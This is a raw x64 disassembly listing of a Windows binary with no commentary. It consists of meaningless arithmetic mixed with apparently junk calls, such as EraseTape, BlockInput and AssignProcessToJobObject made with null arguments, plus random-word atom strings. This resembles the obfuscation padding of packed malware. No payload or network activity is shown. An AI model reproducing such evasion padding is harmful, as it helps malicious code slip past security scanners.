movsx ecx, word [rsp + 0xb74]
sar eax, cl
movsx ecx, word [rsp + 0xb68]
movsx edx, word [rsp + 0xb84]
or ecx, edx
cmp eax, ecx
jne 0x1400038ba
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4244], eax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6004], ax
mov r8d, 1
mov edx, 0x18
lea rcx, [rsp + 0x41d0]
call qword [sym.imp.USER32.dll_AdjustWindowRect]
mov dword [rsp + 0x41f0], eax
jmp 0x140003906
mov rcx, qword [rsp + 0x8c18]
call fcn.1401b9aa0
nop
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
add eax, ecx
movzx ecx, word [rsp + 0xb78]
movzx edx, word [rsp + 0xb70]
and ecx, edx
cmp eax, ecx
jle 0x1400039cb
mov rax, qword [rsp + 0x8c18]
mov rcx, qword [rsp + 0x8da0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov rdx, qword [rsp + 0x8c20]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x1400039cb
movzx eax, word [0x1401e6004]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x4244]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
mov r9d, 0xc9
mov r8d, 0x96
lea rdx, [rsp + 0x26848]
mov rcx, qword [rsp + 0x8e08]
call qword [sym.imp.USER32.dll_DlgDirSelectComboBoxExA]
mov dword [rsp + 0x426c], eax
mov rax, qword [rsp + 0x8c18]
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb84]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
movsx ecx, word [rsp + 0xb74]
movsx edx, word [rsp + 0xb64]
add ecx, edx
cmp eax, ecx
jl 0x140003a6c
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4280], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x51]
mov qword [rsp + 0x8e18], rax
lea rax, [rsp + 0xb84]
mov qword [rsp + 0x8e20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
nop
jmp 0x140003b1c
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x424c]
mov edx, dword [rsp + 0x41bc]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140003b1c
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
or eax, 0x69
movzx ecx, byte [rsp + 0x51]
cmp eax, ecx
jne 0x140003b1c
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov dword [rsp + 0x4284], eax
cmp dword [rsp + 0x4284], 0x2de
je 0x140003ade
cmp dword [rsp + 0x4284], 0x754
je 0x140003afc
jmp 0x140003b1c
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50], al
jmp 0x140003b1c
movsx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
and eax, ecx
mov word [rsp + 0xb60], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8e10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8c18]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x140003c11
mov eax, dword [rsp + 0x423c]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4280]
mov edx, dword [rsp + 0x41bc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140003c06
lea rcx, [rsp + 0x8c40]
call qword [sym.imp.USER32.dll_SetRectEmpty]
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x8db8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x8e18]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x8e18]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x51]
call fcn.1401ba490
nop
mov dword [rsp + 0x4288], 0x83b5
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x423c]
mov edx, dword [rsp + 0x4280]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140003d73
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c20]
mov qword [rsp + 0x8e38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e38]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8da0]
mov rdx, qword [rsp + 0x8e10]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140003d5f
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x428c], eax
cmp dword [rsp + 0x428c], 0x79b
je 0x140003d3d
cmp dword [rsp + 0x428c], 0x26d8
je 0x140003cea
jmp 0x140003d5d
mov eax, dword [rsp + 0x4270]
mov ecx, dword [rsp + 0x41b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d0], eax
mov edx, 0x5f
mov rcx, qword [rsp + 0x8e40]
call qword [sym.imp.USER32.dll_SetMenuContextHelpId]
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c70], rax
jmp 0x140003d5d
movsx eax, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
jmp 0x140003d73
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
add eax, 0xa0
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
nop
cmp dword [rsp + 0x420c], 0xd6f3
jbe 0x140004257
movzx eax, word [rsp + 0xb70]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xb60], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movsx eax, word [rsp + 0xb68]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb84], ax
mov eax, dword [rsp + 0x4280]
mov ecx, dword [rsp + 0x424c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4244]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0x8c70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
movzx eax, word [rsp + 0xb70]
movzx ecx, word [rsp + 0xb60]
sar eax, cl
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x8e48]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x51]
and eax, 0xa9
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8c98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x4270]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x51]
and eax, 3
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
lea rcx, str.woad_Stamping_Expound
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
add eax, 0x1f
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb70]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
xor eax, ecx
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8db8]
mov qword [rsp + 0x8e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e50]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e58], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41bc]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x8e60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movsx eax, word [rsp + 0xb84]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xb70], ax
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0x420c]
sub eax, 9
mov dword [rsp + 0x420c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41e0], eax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401e7410], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4280]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
jmp 0x140003d82
movzx eax, word [rsp + 0xb60]
movzx ecx, word [0x1401e6004]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
mov dword [rsp + 0x4290], ecx
movzx edx, word [rsp + 0xb78]
movzx ecx, dl
mov edx, dword [rsp + 0x4290]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1400043f8
mov eax, dword [rsp + 0x4214]
mov dword [rsp + 0x4294], eax
cmp dword [rsp + 0x4294], 0xf36
je 0x1400042b8
jmp 0x1400043cb
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov rdx, qword [rsp + 0x8e10]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x1400043ba
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov dword [rsp + 0x4298], eax
cmp dword [rsp + 0x4298], 0x62
je 0x14000431f
cmp dword [rsp + 0x4298], 0xbe7
je 0x14000439b
jmp 0x1400043b8
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8da0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
lea rdx, [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8d68]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rsp + 0x429c], eax
mov rax, qword [rsp + 0x8e20]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x8e10]
mov rax, qword [rsp + 0x8c20]
mov r8, qword [rax]
mov rax, qword [rsp + 0x8c20]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x8e10]
call fcn.1401bb150
nop
jmp 0x1400043b8
mov rax, qword [rsp + 0x8c78]
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4214], eax
jmp 0x1400043c9
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rsp + 0x4268], eax
jmp 0x1400043f6
lea rcx, str.Stoneless_sightsee_sideswipes
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xb7c], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x52], al
lea rax, [rsp + 0x51]
mov qword [rsp + 0x8e68], rax
jmp 0x140004415
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb84]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x42a0], al
cmp byte [rsp + 0x42a0], 0
je 0x140004444
cmp byte [rsp + 0x42a0], 0x3c
je 0x1401b8d0a
jmp 0x1401b8d88
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41e0], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x423c]
mov edx, dword [rsp + 0x4280]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400044a1
mov rax, qword [rsp + 0x8c80]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x8cc8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x8e20]
movzx ecx, word [rax]
call fcn.1401ba1d0
nop
mov rax, qword [rsp + 0x8c18]
mov qword [rsp + 0x8e70], rax
cmp qword [rsp + 0x8e70], 0
je 0x1400044d9
movabs rax, 0x709345aed9f97b
cmp qword [rsp + 0x8e70], rax
je 0x14000461d
jmp 0x140004633
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x42a4], al
cmp byte [rsp + 0x42a4], 7
je 0x1400044f4
jmp 0x1400045cf
xor edx, edx
lea rcx, [rsp + 0x2ee00]
call qword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
mov dword [rsp + 0x4280], eax
mov eax, dword [rsp + 0x41b8]
mov ecx, dword [rsp + 0x4228]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x41d0]
mov edx, dword [rsp + 0x4204]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x1400045a1
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov dword [rsp + 0x4270], eax
movsx eax, word [rsp + 0xb68]
movsx ecx, word [rsp + 0xb84]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xb70], ax
mov r9, qword [rsp + 0x8c70]
mov rax, qword [rsp + 0x8e18]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x51]
call fcn.1401ba490
nop
jmp 0x1400045cd
mov dword [rsp + 0x20], 0x47
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x8e40]
mov edx, 0xc1
mov ecx, 0x6e
call qword [sym.imp.USER32.dll_ToAscii]
mov dword [rsp + 0x424c], eax
jmp 0x14000461b
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov byte [rsp + 0x53], al
lea rax, [rsp + 0xb68]
mov qword [rsp + 0x8e78], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov qword [0x1401e6008], rax
jmp 0x140004633
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [rsp + 0x50], al
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb88], ax
mov eax, dword [rsp + 0x4214]
mov ecx, dword [rsp + 0x4270]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4244], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [rsp + 0x8dd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x423c]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x8e80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
xor eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sar eax, cl
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
and eax, ecx
mov word [0x1401e6004], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
add eax, ecx
mov word [rsp + 0xb60], ax
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x8cd0]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41d0], eax
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8c70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4280]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
mov eax, dword [rsp + 0x41b0]
sub eax, 0x2c
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
sub eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0xb70]
movzx ecx, word [0x1401e6004]
or eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d70]
mov qword [rsp + 0x8e88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e88]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8da0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x8cd0]
mov ecx, dword [rsp + 0x4270]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
cmp dword [rsp + 0x41b0], 0xa686
ja 0x140004633
mov rax, qword [rsp + 0x8e20]
movzx eax, word [rax]
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x8c68]
movzx eax, byte [rax]
mov byte [rsp + 0x54], al
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb90], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x8e20]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140004a97
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8db8]
mov rdx, qword [rsp + 0x8d70]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jg 0x140004a95
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov dword [rsp + 0x42a8], eax
cmp dword [rsp + 0x42a8], 0x2e3
je 0x140004a38
jmp 0x140004a5c
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
jmp 0x140004a7f
mov r8d, dword [section..data]
mov rax, qword [rsp + 0x8cc8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x8ca8]
movzx ecx, word [rax]
call fcn.1401ba1d0
nop
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
or eax, ecx
mov byte [rsp + 0x53], al
jmp 0x140004b02
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb8c]
and eax, ecx
movsx ecx, word [rsp + 0xb74]
mov rdx, qword [rsp + 0x8e20]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x140004b02
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xb70]
xor eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
lea rcx, [rsp + 0x53]
call qword [sym.imp.USER32.dll_IsRectEmpty]
mov dword [rsp + 0x42ac], eax
mov rcx, qword [rsp + 0x8c18]
call fcn.1401b9aa0
nop
lea rax, [rsp + 0x4244]
mov qword [rsp + 0x8e90], rax
movzx eax, word [0x1401e6004]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0xb78]
mov dword [rsp + 0x42b0], ecx
movzx edx, word [rsp + 0xb60]
movzx ecx, dl
mov edx, dword [rsp + 0x42b0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140004bef
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
nop
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x53]
and eax, ecx
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8e68]
movzx edx, byte [rdx]
imul ecx, edx
cmp eax, ecx
jle 0x140004bdf
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c18], rax
mov rcx, qword [rsp + 0x8c30]
call qword [sym.imp.USER32.dll_LockWindowUpdate]
mov dword [rsp + 0x426c], eax
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [rsp + 0x8dd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
lea rax, [rsp + 0x424c]
mov qword [rsp + 0x8e98], rax
